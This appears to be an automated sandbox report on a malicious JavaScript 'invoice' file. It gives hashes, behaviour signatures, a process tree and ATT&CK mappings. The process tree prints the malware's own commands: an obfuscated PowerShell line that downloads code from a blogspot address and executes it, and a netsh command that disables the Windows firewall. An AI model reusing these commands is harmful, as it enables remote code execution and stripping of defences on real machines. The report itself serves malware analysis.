Analysis
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max time kernel
142s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20231127-en -
resource tags
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submitted
01-12-2023 05:51
General
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Target
invoice_2566246817.js
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Size
106KB
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MD5
fc6d7a11059fee2eda2bab5e4c82c839
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SHA1
9907895c521bddd02573ca5e361490f017932dbe
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SHA256
39afb67d0916e6761f7604cb65ebdb1c115f24e62d9b122c0137b46215a0b00c
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SHA512
1e820c22e9cbd0f360b7187eb8062089ead22cfd1a62e0e47450523659b841bf37278ddfd530c4792529d88145ceb1ff88389d541fda9e68d9c127ba5579fb39
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SSDEEP
384:boJdyttnpXrov4gPyjjF/9sui+1VaEEEfEfffEfEffESxyOVYZPjcrdRoDT/8W8z:kS5W
Malware Config
Signatures
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UAC bypass 3 TTPs 1 IoCs
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Blocklisted process makes network request 2 IoCs
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Modifies Windows Firewall 1 TTPs 1 IoCs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Registers COM server for autorun 1 TTPs 2 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of SetThreadContext 3 IoCs
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Drops file in Windows directory 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
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Enumerates system info in registry 2 TTPs 4 IoCs
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Modifies registry class 3 IoCs
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Suspicious behavior: EnumeratesProcesses 9 IoCs
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Suspicious use of AdjustPrivilegeToken 64 IoCs
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Suspicious use of WriteProcessMemory 38 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\invoice_2566246817.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c $((irm hotelofficeewn.blogspot.com////////////////////////////////////atom.xml) | .('{1}{0}'-f'kasokdaoskdoaksodkasodkaoskdoaksdoaksod','I').replace('kasokdaoskdoaksodkasodkaoskdoaksdoaksod','ex'))2⤵
- UAC bypass
- Blocklisted process makes network request
- Registers COM server for autorun
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\12xfqybz\12xfqybz.cmdline"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES81B3.tmp" "c:\Users\Admin\AppData\Local\Temp\12xfqybz\CSC723BFB4059334DBFB1F69D1CD0DEDCE.TMP"4⤵
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C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off -ErrorAction SilentlyContinue3⤵
- Modifies Windows Firewall
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7804⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exedw20.exe -x -s 7804⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Replay Monitor
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Downloads
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Filesize
3KB
MD5cdee9f0fc587268fe90e164c0545bb90
SHA14ab0a2bbe7033de02de31259ca6dd6beb002c4b7
SHA2563dcb780c1afe9cd6f30151578bd17b3a02633e6ab7fa170170bfc7eee83f4ec4
SHA51296c466c7ce279df2598e14e4b6948e15eb0231d9f2b184f54ac8bf24bc33f104f7332b66e81283143dfb2a9ac0dec38cdaa16510da50115d1e0abb57de437cbd
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Filesize
1KB
MD54a94028e64a25edc93742d6f3abe6e4f
SHA16de0b9a3f1fc131ac0660b3173e869e0b5d2299c
SHA256c7eba9283d60d0740fe4adef90bfbcc0e51dc7fb4b6bc32399df8a4f3bbc6ce8
SHA512b4eedc61b4d96df347995e8c5cbc8c59388c6b8e4f50ab6ab9d22a519a8706d3d7a6ee4f12db8ced8ad6a5be8e2654273b31e505492294918f0c0b9cdb2ec48c
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
870B
MD5e06ebf853695db38aaac82c9af297ae4
SHA1ef98bacec5ac2ae3bf24aac8ed56935a25c1f064
SHA25679c1099bad1dccb1d151887071b8e8b5d679de343903895fa28e45b791cae344
SHA512036449d932066d506a6bd7c08df311bf1ed5e7b3595004941fe1c39a8e9f9b0d08d43b33a180d4851f88d49c98a17b05cf5235858ada611306fc602cfd582759
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Filesize
369B
MD535740afef8f235f85d89c8bf1bb8e33f
SHA1b1db4a9178ecdccf1d630deb12d5cbfe49635e52
SHA25692446fcc104cfdc358e2d8b2d26441b2d54dd2d0babf52d1c59ad718ebd2d0c7
SHA512694160a3345870b28fa032cf0e209b9d829877ea4365a738cea53bcdb82ac37973e9a9bc8a284c5f074de00131a5f7375763fe54d787bb17cb078776018a5021
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Filesize
652B
MD560be265dcff1940f9ef13caa226373c5
SHA17257d86bd983a888270b0891fba09bf8f43fa328
SHA2568e21a202ce2568ffee1217f9d77e347ca0598fdf5d833714c088c1889d36f2f1
SHA5123a11f461b150062c9380548b84333e6712ac36c0e5052f453dc3f54c9992c2e23365213577bc2afe3e8d9be1f591b7b62962e96217e51c06ef861d38c9dc02b3
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Filesize
5.7MB
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Filesize
5.7MB
-
Filesize
64KB
-
Filesize
5.7MB
-
Filesize
5.7MB
-
Filesize
320KB
-
Filesize
1.8MB
-
Filesize
408KB
-
Filesize
432KB
-
Filesize
432KB
-
Filesize
624KB
-
Filesize
40KB
-
Filesize
7.7MB
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Filesize
5.6MB
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Filesize
7.7MB
-
Filesize
64KB
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Filesize
584KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
104KB
-
Filesize
64KB
-
Filesize
56KB
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Filesize
10.8MB
-
Filesize
32KB
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Filesize
1.8MB
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Filesize
64KB
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Filesize
64KB
-
Filesize
10.8MB
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Filesize
136KB